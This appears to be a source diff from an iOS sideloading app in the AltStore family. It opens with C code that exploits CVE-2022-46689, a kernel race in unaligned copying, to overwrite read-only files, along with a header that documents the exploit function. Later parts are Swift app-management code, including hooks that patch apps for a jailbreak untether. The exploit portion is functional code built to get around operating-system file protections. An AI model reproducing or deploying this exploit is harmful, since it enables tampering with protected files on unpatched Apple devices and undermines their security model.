vm_address_t e2, e5;
struct context1 context1, *ctx;
int kern_success = 0, kern_protection_failure = 0, kern_other = 0;
vm_address_t ro_addr, tmp_addr;
memory_object_size_t mo_size;
ctx = &context1;
ctx->obj_size = 256 * 1024;
void* file_mapped = mmap(NULL, ctx->obj_size, PROT_READ, MAP_SHARED, file_to_overwrite, file_offset);
if (file_mapped == MAP_FAILED) {
fprintf(stderr, "failed to map\n");
return false;
}
if (!memcmp(file_mapped, overwrite_data, overwrite_length)) {
fprintf(stderr, "already the same?\n");
munmap(file_mapped, ctx->obj_size);
return true;
}
ro_addr = (vm_address_t)file_mapped;
ctx->e0 = 0;
ctx->running_sem = dispatch_semaphore_create(0);
T_QUIET; T_ASSERT_NE(ctx->running_sem, NULL, "dispatch_semaphore_create");
ret = pthread_mutex_init(&ctx->mtx, NULL);
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init");
ctx->done = false;
ctx->mem_entry_rw = MACH_PORT_NULL;
ctx->mem_entry_ro = MACH_PORT_NULL;
#if 0
/* allocate our attack target memory */
kr = vm_allocate(mach_task_self(),
&ro_addr,
ctx->obj_size,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr");
/* initialize to 'A' */
memset((char *)ro_addr, 'A', ctx->obj_size);
#endif
/* make it read-only */
kr = vm_protect(mach_task_self(),
ro_addr,
ctx->obj_size,
TRUE, /* set_maximum */
VM_PROT_READ);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr");
/* make sure we can't get read-write handle on that target memory */
mo_size = ctx->obj_size;
kr = mach_make_memory_entry_64(mach_task_self(),
&mo_size,
ro_addr,
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
&ctx->mem_entry_ro,
MACH_PORT_NULL);
T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO");
/* take read-only handle on that target memory */
mo_size = ctx->obj_size;
kr = mach_make_memory_entry_64(mach_task_self(),
&mo_size,
ro_addr,
MAP_MEM_VM_SHARE | VM_PROT_READ,
&ctx->mem_entry_ro,
MACH_PORT_NULL);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO");
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
/* make sure we can't map target memory as writable */
tmp_addr = 0;
kr = vm_map(mach_task_self(),
&tmp_addr,
ctx->obj_size,
0, /* mask */
VM_FLAGS_ANYWHERE,
ctx->mem_entry_ro,
0,
FALSE, /* copy */
VM_PROT_READ,
VM_PROT_READ | VM_PROT_WRITE,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
tmp_addr = 0;
kr = vm_map(mach_task_self(),
&tmp_addr,
ctx->obj_size,
0, /* mask */
VM_FLAGS_ANYWHERE,
ctx->mem_entry_ro,
0,
FALSE, /* copy */
VM_PROT_READ | VM_PROT_WRITE,
VM_PROT_READ | VM_PROT_WRITE,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
/* allocate a source buffer for the unaligned copy */
kr = vm_allocate(mach_task_self(),
&e5,
ctx->obj_size * 2,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5");
/* initialize to 'C' */
memset((char *)e5, 'C', ctx->obj_size * 2);
char* e5_overwrite_ptr = (char*)(e5 + ctx->obj_size - 1);
memcpy(e5_overwrite_ptr, overwrite_data, overwrite_length);
int overwrite_first_diff_offset = -1;
char overwrite_first_diff_value = 0;
for (int off = 0; off < overwrite_length; off++) {
if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) {
overwrite_first_diff_offset = off;
overwrite_first_diff_value = ((char*)ro_addr)[off];
}
}
if (overwrite_first_diff_offset == -1) {
fprintf(stderr, "no diff?\n");
return false;
}
/*
* get a handle on some writable memory that will be temporarily
* switched with the read-only mapping of our target memory to try
* and trick copy_unaligned to write to our read-only target.
*/
tmp_addr = 0;
kr = vm_allocate(mach_task_self(),
&tmp_addr,
ctx->obj_size,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory");
/* initialize to 'D' */
memset((char *)tmp_addr, 'D', ctx->obj_size);
/* get a memory entry handle for that RW memory */
mo_size = ctx->obj_size;
kr = mach_make_memory_entry_64(mach_task_self(),
&mo_size,
tmp_addr,
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
&ctx->mem_entry_rw,
MACH_PORT_NULL);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW");
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->obj_size);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr);
tmp_addr = 0;
pthread_mutex_lock(&ctx->mtx);
/* start racing thread */
ret = pthread_create(&th, NULL, switcheroo_thread, (void *)ctx);
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create");
/* wait for racing thread to be ready to run */
dispatch_semaphore_wait(ctx->running_sem, DISPATCH_TIME_FOREVER);
duration = 10; /* 10 seconds */
T_LOG("Testing for %ld seconds...", duration);
for (start = time(NULL), loops = 0;
time(NULL) < start + duration;
loops++) {
/* reserve space for our 2 contiguous allocations */
e2 = 0;
kr = vm_allocate(mach_task_self(),
&e2,
2 * ctx->obj_size,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0");
/* make 1st allocation in our reserved space */
kr = vm_allocate(mach_task_self(),
&e2,
ctx->obj_size,
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240));
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2");
/* initialize to 'B' */
memset((char *)e2, 'B', ctx->obj_size);
/* map our read-only target memory right after */
ctx->e0 = e2 + ctx->obj_size;
kr = vm_map(mach_task_self(),
&ctx->e0,
ctx->obj_size,
0, /* mask */
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241),
ctx->mem_entry_ro,
0,
FALSE, /* copy */
VM_PROT_READ,
VM_PROT_READ,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro");
/* let the racing thread go */
pthread_mutex_unlock(&ctx->mtx);
/* wait a little bit */
usleep(100);
/* trigger copy_unaligned while racing with other thread */
kr = vm_read_overwrite(mach_task_self(),
e5,
ctx->obj_size - 1 + overwrite_length,
e2 + 1,
&copied_size);
T_QUIET;
T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE,
"vm_read_overwrite kr %d", kr);
switch (kr) {
case KERN_SUCCESS:
/* the target was RW */
kern_success++;
break;
case KERN_PROTECTION_FAILURE:
/* the target was RO */
kern_protection_failure++;
break;
default:
/* should not happen */
kern_other++;
break;
}
/* check that our read-only memory was not modified */
#if 0
T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "RO mapping was modified");
#endif
bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value;
/* tell racing thread to stop toggling mappings */
pthread_mutex_lock(&ctx->mtx);
/* clean up before next loop */
vm_deallocate(mach_task_self(), ctx->e0, ctx->obj_size);
ctx->e0 = 0;
vm_deallocate(mach_task_self(), e2, ctx->obj_size);
e2 = 0;
if (!is_still_equal) {
retval = true;
fprintf(stderr, "RO mapping was modified\n");
break;
}
}
ctx->done = true;
pthread_mutex_unlock(&ctx->mtx);
pthread_join(th, NULL);
kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_rw);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)");
kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_ro);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)");
kr = vm_deallocate(mach_task_self(), ro_addr, ctx->obj_size);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)");
kr = vm_deallocate(mach_task_self(), e5, ctx->obj_size * 2);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)");
#if 0
T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d",
kern_success, kern_protection_failure, kern_other);
T_PASS("Ran %d times in %ld seconds with no failure", loops, duration);
#endif
return retval;
}
#endif /* MDC */

View File

@@ -0,0 +1,10 @@
#ifdef MDC
#pragma once
#include <stdlib.h>
#include <stdbool.h>
/// Uses CVE-2022-46689 to overwrite `overwrite_length` bytes of `file_to_overwrite` with `overwrite_data`, starting from `file_offset`.
/// `file_to_overwrite` should be a file descriptor opened with O_RDONLY.
/// `overwrite_length` must be less than or equal to `PAGE_SIZE`.
/// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable.
bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length);
#endif /* MDC */

View File

@@ -20,13 +20,15 @@ import Roxas
extension AppManager
{
static let didFetchSourceNotification = Notification.Name("com.altstore.AppManager.didFetchSource")
static let didFetchSourceNotification = Notification.Name("io.altstore.AppManager.didFetchSource")
static let didUpdatePatronsNotification = Notification.Name("io.altstore.AppManager.didUpdatePatrons")
static let expirationWarningNotificationID = "altstore-expiration-warning"
static let enableJITResultNotificationID = "altstore-enable-jit"
}
@available(iOS 13, *)
class AppManagerPublisher: ObservableObject
final class AppManagerPublisher: ObservableObject
{
@Published
fileprivate(set) var installationProgress = [String: Progress]()
@@ -35,12 +37,16 @@ class AppManagerPublisher: ObservableObject
fileprivate(set) var refreshProgress = [String: Progress]()
}
class AppManager
private func ==(lhs: OperatingSystemVersion, rhs: OperatingSystemVersion) -> Bool
{
return (lhs.majorVersion == rhs.majorVersion && lhs.minorVersion == rhs.minorVersion && lhs.patchVersion == rhs.patchVersion)
}
final class AppManager
{
static let shared = AppManager()
@available(iOS 13, *)
private(set) lazy var publisher: AppManagerPublisher = AppManagerPublisher()
private(set) var updatePatronsResult: Result<Void, Error>?
private let operationQueue = OperationQueue()
private let serialOperationQueue = OperationQueue()
@@ -58,8 +64,27 @@ class AppManager
}
}
@available(iOS 13.0, *)
private lazy var cancellables = Set<AnyCancellable>()
@available(iOS 13, *)
private(set) var publisher: AppManagerPublisher {
get { _publisher as! AppManagerPublisher }
set { _publisher = newValue }
}
@available(iOS 13, *)
private(set) var cancellables: Set<AnyCancellable> {
get { _cancellables as! Set<AnyCancellable> }
set { _cancellables = newValue }
}
private lazy var _publisher: Any = {
guard #available(iOS 13, *) else { fatalError() }
return AppManagerPublisher()
}()
private lazy var _cancellables: Any = {
guard #available(iOS 13, *) else { fatalError() }
return Set<AnyCancellable>()
}()
private init()
{
@@ -142,6 +167,12 @@ extension AppManager
// This UTI is not declared by any apps, which means this app has been deleted by the user.
// This app is also not a legacy sideloaded app, so we can assume it's fine to delete it.
context.delete(app)
if var patchedApps = UserDefaults.standard.patchedApps, let index = patchedApps.firstIndex(of: app.bundleIdentifier)
{
patchedApps.remove(at: index)
UserDefaults.standard.patchedApps = patchedApps
}
}
}
@@ -186,23 +217,6 @@ extension AppManager
}
}
@discardableResult
func findServer(context: OperationContext = OperationContext(), completionHandler: @escaping (Result<Server, Error>) -> Void) -> FindServerOperation
{
let findServerOperation = FindServerOperation(context: context)
findServerOperation.resultHandler = { (result) in
switch result
{
case .failure(let error): context.error = error
case .success(let server): context.server = server
}
}
self.run([findServerOperation], context: context)
return findServerOperation
}
@discardableResult
func authenticate(presentingViewController: UIViewController?, context: AuthenticatedOperationContext = AuthenticatedOperationContext(), completionHandler: @escaping (Result<(ALTTeam, ALTCertificate, ALTAppleAPISession), Error>) -> Void) -> AuthenticationOperation
{
@@ -211,8 +225,6 @@ extension AppManager
return operation
}
let findServerOperation = self.findServer(context: context) { _ in }
let authenticationOperation = AuthenticationOperation(context: context, presentingViewController: presentingViewController)
authenticationOperation.resultHandler = { (result) in
switch result
@@ -223,19 +235,88 @@ extension AppManager
completionHandler(result)
}
authenticationOperation.addDependency(findServerOperation)
self.run([authenticationOperation], context: context)
return authenticationOperation
}
func deactivateApps(for app: ALTApplication, presentingViewController: UIViewController, completion: @escaping (Result<Void, Error>) -> Void)
{
guard let activeAppsLimit = UserDefaults.standard.activeAppsLimit else { return completion(.success(())) }
DispatchQueue.main.async {
let activeApps = InstalledApp.fetchActiveApps(in: DatabaseManager.shared.viewContext)
.filter { $0.bundleIdentifier != app.bundleIdentifier } // Don't count app towards total if it matches activating app
.sorted { ($0.name, $0.refreshedDate) < ($1.name, $1.refreshedDate) }
var title: String = NSLocalizedString("Cannot Activate More than \(InstalledApp.freeAccountActiveAppsLimit) Apps", comment: "")
let message: String
if UserDefaults.standard.activeAppLimitIncludesExtensions
{
if app.appExtensions.isEmpty
{
message = NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) active apps and app extensions. Please choose an app to deactivate.", comment: "")
}
else
{
title = NSLocalizedString("Cannot Activate More than \(InstalledApp.freeAccountActiveAppsLimit) Apps and App Extensions", comment: "")
let appExtensionText = app.appExtensions.count == 1 ? NSLocalizedString("app extension", comment: "") : NSLocalizedString("app extensions", comment: "")
message = String(format: NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) active apps and app extensions, and “%@” contains %@ %@. Please choose an app to deactivate.", comment: ""), app.name, NSNumber(value: app.appExtensions.count), appExtensionText)
}
}
else
{
message = NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) active apps. Please choose an app to deactivate.", comment: "")
}
let activeAppsCount = activeApps.map { $0.requiredActiveSlots }.reduce(0, +)
let availableActiveApps = max(activeAppsLimit - activeAppsCount, 0)
let requiredActiveSlots = UserDefaults.standard.activeAppLimitIncludesExtensions ? (1 + app.appExtensions.count) : 1
guard requiredActiveSlots > availableActiveApps else { return completion(.success(())) }
let alertController = UIAlertController(title: title, message: message, preferredStyle: .alert)
alertController.addAction(UIAlertAction(title: UIAlertAction.cancel.title, style: UIAlertAction.cancel.style) { (action) in
completion(.failure(OperationError.cancelled))
})
for activeApp in activeApps where activeApp.bundleIdentifier != StoreApp.altstoreAppID
{
alertController.addAction(UIAlertAction(title: activeApp.name, style: .default) { (action) in
activeApp.isActive = false
self.deactivate(activeApp, presentingViewController: presentingViewController) { (result) in
switch result
{
case .failure(let error):
activeApp.managedObjectContext?.perform {
activeApp.isActive = true
completion(.failure(error))
}
case .success:
self.deactivateApps(for: app, presentingViewController: presentingViewController, completion: completion)
}
}
})
}
presentingViewController.present(alertController, animated: true, completion: nil)
}
}
}
extension AppManager
{
func fetchSource(sourceURL: URL, completionHandler: @escaping (Result<Source, Error>) -> Void)
func fetchSource(sourceURL: URL,
managedObjectContext: NSManagedObjectContext = DatabaseManager.shared.persistentContainer.newBackgroundContext(),
dependencies: [Foundation.Operation] = [],
completionHandler: @escaping (Result<Source, Error>) -> Void)
{
let fetchSourceOperation = FetchSourceOperation(sourceURL: sourceURL)
let fetchSourceOperation = FetchSourceOperation(sourceURL: sourceURL, managedObjectContext: managedObjectContext)
fetchSourceOperation.resultHandler = { (result) in
switch result
{
@@ -247,6 +328,11 @@ extension AppManager
}
}
for dependency in dependencies
{
fetchSourceOperation.addDependency(dependency)
}
self.run([fetchSourceOperation], context: nil)
}
@@ -306,7 +392,8 @@ extension AppManager
func fetchAppIDs(completionHandler: @escaping (Result<([AppID], NSManagedObjectContext), Error>) -> Void)
{
let authenticationOperation = self.authenticate(presentingViewController: nil) { (result) in
print("Authenticated for fetching App IDs with result:", result)
// result contains name, email, auth token, OTP and other possibly personal/account specific info. we don't want this logged
//print("Authenticated for fetching App IDs with result:", result)
}
let fetchAppIDsOperation = FetchAppIDsOperation(context: authenticationOperation.context)
@@ -316,13 +403,51 @@ extension AppManager
}
@discardableResult
func install<T: AppProtocol>(_ app: T, presentingViewController: UIViewController?, context: AuthenticatedOperationContext = AuthenticatedOperationContext(), completionHandler: @escaping (Result<InstalledApp, Error>) -> Void) -> Progress
func fetchTrustedSources(completionHandler: @escaping (Result<[FetchTrustedSourcesOperation.TrustedSource], Error>) -> Void) -> FetchTrustedSourcesOperation
{
let fetchTrustedSourcesOperation = FetchTrustedSourcesOperation()
fetchTrustedSourcesOperation.resultHandler = completionHandler
self.run([fetchTrustedSourcesOperation], context: nil)
return fetchTrustedSourcesOperation
}
func updatePatronsIfNeeded()
{
guard self.operationQueue.operations.allSatisfy({ !($0 is UpdatePatronsOperation) }) else {
// There's already an UpdatePatronsOperation running.
return
}
self.updatePatronsResult = nil
let updatePatronsOperation = UpdatePatronsOperation()
updatePatronsOperation.resultHandler = { (result) in
do
{
try result.get()
self.updatePatronsResult = .success(())
}
catch
{
print("Error updating Friend Zone Patrons:", error)
self.updatePatronsResult = .failure(error)
}
NotificationCenter.default.post(name: AppManager.didUpdatePatronsNotification, object: self)
}
self.run([updatePatronsOperation], context: nil)
}
@discardableResult
func install<T: AppProtocol>(_ app: T, presentingViewController: UIViewController?, context: AuthenticatedOperationContext = AuthenticatedOperationContext(), completionHandler: @escaping (Result<InstalledApp, Error>) -> Void) -> RefreshGroup
{
let group = RefreshGroup(context: context)
group.completionHandler = { (results) in
do
{
guard let result = results.values.first else { throw OperationError.unknown }
guard let result = results.values.first else { throw context.error ?? OperationError.unknown }
completionHandler(result)
}
catch
@@ -334,7 +459,7 @@ extension AppManager
let operation = AppOperation.install(app)
self.perform([operation], presentingViewController: presentingViewController, group: group)
return group.progress
return group
}
@discardableResult
@@ -411,13 +536,10 @@ extension AppManager
// authentication, so we keep it separate.
let context = OperationContext()
let findServerOperation = self.findServer(context: context) { _ in }
let deactivateAppOperation = DeactivateAppOperation(app: installedApp, context: context)
deactivateAppOperation.resultHandler = { (result) in
completionHandler(result)
}
deactivateAppOperation.addDependency(findServerOperation)
self.run([deactivateAppOperation], context: context, requiresSerialQueue: true)
}
@@ -540,6 +662,87 @@ extension AppManager
self.run([removeAppOperation, removeAppBackupOperation], context: authenticationContext)
}
@available(iOS 14, *)
func enableJIT(for installedApp: InstalledApp, completionHandler: @escaping (Result<Void, Error>) -> Void)
{
final class Context: OperationContext, EnableJITContext
{
var installedApp: InstalledApp?
}
let context = Context()
context.installedApp = installedApp
let enableJITOperation = EnableJITOperation(context: context)
enableJITOperation.resultHandler = { (result) in
completionHandler(result)
}
self.run([enableJITOperation], context: context, requiresSerialQueue: true)
}
@available(iOS 14.0, *)
func patch(resignedApp: ALTApplication, presentingViewController: UIViewController, context authContext: AuthenticatedOperationContext, completionHandler: @escaping (Result<InstalledApp, Error>) -> Void) -> PatchAppOperation
{
final class Context: InstallAppOperationContext, PatchAppContext
{
}
guard let originalBundleID = resignedApp.bundle.infoDictionary?[Bundle.Info.altBundleID] as? String else {
let context = Context(bundleIdentifier: resignedApp.bundleIdentifier, authenticatedContext: authContext)
completionHandler(.failure(OperationError.invalidApp))
return PatchAppOperation(context: context)
}
let context = Context(bundleIdentifier: originalBundleID, authenticatedContext: authContext)
context.resignedApp = resignedApp
let patchAppOperation = PatchAppOperation(context: context)
let sendAppOperation = SendAppOperation(context: context)
let installOperation = InstallAppOperation(context: context)
let installationProgress = Progress.discreteProgress(totalUnitCount: 100)
installationProgress.addChild(sendAppOperation.progress, withPendingUnitCount: 40)
installationProgress.addChild(installOperation.progress, withPendingUnitCount: 60)
/* Patch */
patchAppOperation.resultHandler = { [weak patchAppOperation] (result) in
switch result
{
case .failure(let error): context.error = error
case .success:
// Kinda hacky that we're calling patchAppOperation's progressHandler manually, but YOLO.
patchAppOperation?.progressHandler?(installationProgress, NSLocalizedString("Patching placeholder app...", comment: ""))
}
}
/* Send */
sendAppOperation.resultHandler = { (result) in
switch result
{
case .failure(let error): context.error = error
case .success(_): print("App sent over AFC")
}
}
sendAppOperation.addDependency(patchAppOperation)
/* Install */
installOperation.resultHandler = { (result) in
switch result
{
case .failure(let error): completionHandler(.failure(error))
case .success(let installedApp): completionHandler(.success(installedApp))
}
}
installOperation.addDependency(sendAppOperation)
self.run([patchAppOperation, sendAppOperation, installOperation], context: context.authenticatedContext)
return patchAppOperation
}
func installationProgress(for app: AppProtocol) -> Progress?
{
let progress = self.installationProgress[app.bundleIdentifier]
@@ -555,12 +758,15 @@ extension AppManager
extension AppManager
{
func backgroundRefresh(_ installedApps: [InstalledApp], presentsNotifications: Bool = true, completionHandler: @escaping (Result<[String: Result<InstalledApp, Error>], Error>) -> Void)
@discardableResult
func backgroundRefresh(_ installedApps: [InstalledApp], presentsNotifications: Bool = false, completionHandler: @escaping (Result<[String: Result<InstalledApp, Error>], Error>) -> Void) -> BackgroundRefreshAppsOperation
{
let backgroundRefreshAppsOperation = BackgroundRefreshAppsOperation(installedApps: installedApps)
backgroundRefreshAppsOperation.resultHandler = completionHandler
backgroundRefreshAppsOperation.presentsFinishedNotification = presentsNotifications
self.run([backgroundRefreshAppsOperation], context: nil)
return backgroundRefreshAppsOperation
}
}
@@ -667,12 +873,18 @@ private extension AppManager
case .refresh(let app):
// Check if backup app is installed in place of real app.
let uti = UTTypeCopyDeclaration(app.installedBackupAppUTI as CFString)?.takeRetainedValue() as NSDictionary?
if app.certificateSerialNumber != group.context.certificate?.serialNumber || uti != nil || app.needsResign
if app.certificateSerialNumber != group.context.certificate?.serialNumber ||
uti != nil ||
app.needsResign ||
// We need to reinstall ourselves on refresh to ensure the new provisioning profile is used
app.bundleIdentifier == StoreApp.altstoreAppID
{
// Resign app instead of just refreshing profiles because either:
// * Refreshing using different certificate
// * Backup app is still installed
// * App explicitly needs resigning
// * Device is jailbroken and using AltDaemon on iOS 14.0 or later (b/c refreshing with provisioning profiles is broken)
let installProgress = self._install(app, operation: operation, group: group) { (result) in
self.finish(operation, result: result, group: group, progress: progress)
@@ -742,7 +954,7 @@ private extension AppManager
return group
}
private func _install(_ app: AppProtocol, operation: AppOperation, group: RefreshGroup, context: InstallAppOperationContext? = nil, additionalEntitlements: [ALTEntitlement: Any]? = nil, cacheApp: Bool = true, completionHandler: @escaping (Result<InstalledApp, Error>) -> Void) -> Progress
private func _install(_ app: AppProtocol, operation appOperation: AppOperation, group: RefreshGroup, context: InstallAppOperationContext? = nil, additionalEntitlements: [ALTEntitlement: Any]? = nil, cacheApp: Bool = true, completionHandler: @escaping (Result<InstalledApp, Error>) -> Void) -> Progress
{
let progress = Progress.discreteProgress(totalUnitCount: 100)
@@ -750,7 +962,7 @@ private extension AppManager
assert(context.authenticatedContext === group.context)
context.beginInstallationHandler = { (installedApp) in
switch operation
switch appOperation
{
case .update where installedApp.bundleIdentifier == StoreApp.altstoreAppID:
// AltStore will quit before installation finishes,
@@ -815,6 +1027,115 @@ private extension AppManager
verifyOperation.addDependency(downloadOperation)
/* Deactivate Apps (if necessary) */
let deactivateAppsOperation = RSTAsyncBlockOperation { [weak self] (operation) in
do
{
// Only attempt to deactivate apps if we're installing a new app.
// We handle deactivating apps separately when activating an app.
guard case .install = appOperation else {
operation.finish()
return
}
if let error = context.error
{
throw error
}
guard let app = context.app, let presentingViewController = context.authenticatedContext.presentingViewController else { throw OperationError.invalidParameters }
self?.deactivateApps(for: app, presentingViewController: presentingViewController) { result in
switch result
{
case .failure(let error): group.context.error = error
case .success: break
}
operation.finish()
}
}
catch
{
group.context.error = error
operation.finish()
}
}
deactivateAppsOperation.addDependency(verifyOperation)
/* Patch App */
let patchAppOperation = RSTAsyncBlockOperation { operation in
do
{
// Only attempt to patch app if we're installing a new app, not refreshing existing app.
// Post reboot, we install the correct jailbreak app by refreshing the patched app,
// so this check avoids infinite recursion.
guard case .install = appOperation else {
operation.finish()
return
}
guard let presentingViewController = context.presentingViewController, #available(iOS 14, *) else { return operation.finish() }
if let error = context.error
{
throw error
}
guard let app = context.app else { throw OperationError.invalidParameters }
guard let isUntetherRequired = app.bundle.infoDictionary?[Bundle.Info.untetherRequired] as? Bool,
let minimumiOSVersionString = app.bundle.infoDictionary?[Bundle.Info.untetherMinimumiOSVersion] as? String,
let maximumiOSVersionString = app.bundle.infoDictionary?[Bundle.Info.untetherMaximumiOSVersion] as? String,
case let minimumiOSVersion = OperatingSystemVersion(string: minimumiOSVersionString),
case let maximumiOSVersion = OperatingSystemVersion(string: maximumiOSVersionString)
else { return operation.finish() }
let iOSVersion = ProcessInfo.processInfo.operatingSystemVersion
let iOSVersionSupported = ProcessInfo.processInfo.isOperatingSystemAtLeast(minimumiOSVersion) &&
(!ProcessInfo.processInfo.isOperatingSystemAtLeast(maximumiOSVersion) || maximumiOSVersion == iOSVersion)
guard isUntetherRequired, iOSVersionSupported, UIDevice.current.supportsFugu14 else { return operation.finish() }
guard let patchAppLink = app.bundle.infoDictionary?[Bundle.Info.untetherURL] as? String,
let patchAppURL = URL(string: patchAppLink)
else { throw OperationError.invalidApp }
let patchApp = AnyApp(name: app.name, bundleIdentifier: app.bundleIdentifier, url: patchAppURL)
DispatchQueue.main.async {
let storyboard = UIStoryboard(name: "PatchApp", bundle: nil)
let navigationController = storyboard.instantiateInitialViewController() as! UINavigationController
let patchViewController = navigationController.topViewController as! PatchViewController
patchViewController.patchApp = patchApp
patchViewController.completionHandler = { [weak presentingViewController] (result) in
switch result
{
case .failure(OperationError.cancelled): break // Ignore
case .failure(let error): group.context.error = error
case .success: group.context.error = OperationError.cancelled
}
operation.finish()
DispatchQueue.main.async {
presentingViewController?.dismiss(animated: true, completion: nil)
}
}
presentingViewController.present(navigationController, animated: true, completion: nil)
}
}
catch
{
group.context.error = error
operation.finish()
}
}
patchAppOperation.addDependency(deactivateAppsOperation)
/* Refresh Anisette Data */
let refreshAnisetteDataOperation = FetchAnisetteDataOperation(context: group.context)
refreshAnisetteDataOperation.resultHandler = { (result) in
@@ -824,7 +1145,7 @@ private extension AppManager
case .success(let anisetteData): group.context.session?.anisetteData = anisetteData
}
}
refreshAnisetteDataOperation.addDependency(verifyOperation)
refreshAnisetteDataOperation.addDependency(patchAppOperation)
/* Fetch Provisioning Profiles */
@@ -860,7 +1181,7 @@ private extension AppManager
switch result
{
case .failure(let error): context.error = error
case .success(let installationConnection): context.installationConnection = installationConnection
case .success(_): print("App reported as installed")
}
}
sendAppOperation.addDependency(resignAppOperation)
@@ -893,7 +1214,7 @@ private extension AppManager
progress.addChild(installOperation.progress, withPendingUnitCount: 30)
installOperation.addDependency(sendAppOperation)
let operations = [downloadOperation, verifyOperation, refreshAnisetteDataOperation, fetchProvisioningProfilesOperation, resignAppOperation, sendAppOperation, installOperation]
let operations = [downloadOperation, verifyOperation, deactivateAppsOperation, patchAppOperation, refreshAnisetteDataOperation, fetchProvisioningProfilesOperation, resignAppOperation, sendAppOperation, installOperation]
group.add(operations)
self.run(operations, context: group.context)
@@ -905,7 +1226,7 @@ private extension AppManager
let progress = Progress.discreteProgress(totalUnitCount: 100)
let context = AppOperationContext(bundleIdentifier: app.bundleIdentifier, authenticatedContext: group.context)
context.app = ALTApplication(fileURL: app.url)
context.app = ALTApplication(fileURL: app.fileURL)
/* Fetch Provisioning Profiles */
let fetchProvisioningProfilesOperation = FetchProvisioningProfilesOperation(context: context)
@@ -1193,6 +1514,12 @@ private extension AppManager
{
let progress = Progress.discreteProgress(totalUnitCount: 100)
if let error = context.error
{
completionHandler(.failure(error))
return progress
}
guard let application = ALTApplication(fileURL: app.fileURL) else {
completionHandler(.failure(OperationError.appNotFound))
return progress
@@ -1259,6 +1586,8 @@ private extension AppManager
catch
{
print(error)
context.error = error
}
operation.finish()
@@ -1297,27 +1626,6 @@ private extension AppManager
func finish(_ operation: AppOperation, result: Result<InstalledApp, Error>, group: RefreshGroup, progress: Progress?)
{
let result = result.mapError { (resultError) -> Error in
guard let error = resultError as? ALTServerError else { return resultError }
switch error.code
{
case .deviceNotFound, .lostConnection:
if let server = group.context.server, server.isPreferred || server.connectionType != .wireless
{
// Preferred server (or not random wireless connection), so report errors normally.
return error
}
else
{
// Not preferred server, so ignore these specific errors and throw serverNotFound instead.
return ConnectionError.serverNotFound
}
default: return error
}
}
// Must remove before saving installedApp.
if let currentProgress = self.progress(for: operation), currentProgress == progress
{
@@ -1358,12 +1666,7 @@ private extension AppManager
if #available(iOS 14, *)
{
WidgetCenter.shared.getCurrentConfigurations { (result) in
guard case .success(let widgets) = result else { return }
guard let widget = widgets.first(where: { $0.configuration is ViewAppIntent }) else { return }
WidgetCenter.shared.reloadTimelines(ofKind: widget.kind)
}
WidgetCenter.shared.reloadAllTimelines()
}
do { try installedApp.managedObjectContext?.save() }
@@ -1372,6 +1675,8 @@ private extension AppManager
catch
{
group.set(.failure(error), forAppWithBundleIdentifier: operation.bundleIdentifier)
self.log(error, for: operation)
}
}
@@ -1396,14 +1701,69 @@ private extension AppManager
UNUserNotificationCenter.current().add(request)
}
func log(_ error: Error, for operation: AppOperation)
{
// Sanitize NSError on same thread before performing background task.
let sanitizedError = (error as NSError).sanitizedForCoreData()
let loggedErrorOperation: LoggedError.Operation = {
switch operation
{
case .install: return .install
case .update: return .update
case .refresh: return .refresh
case .activate: return .activate
case .deactivate: return .deactivate
case .backup: return .backup
case .restore: return .restore
}
}()
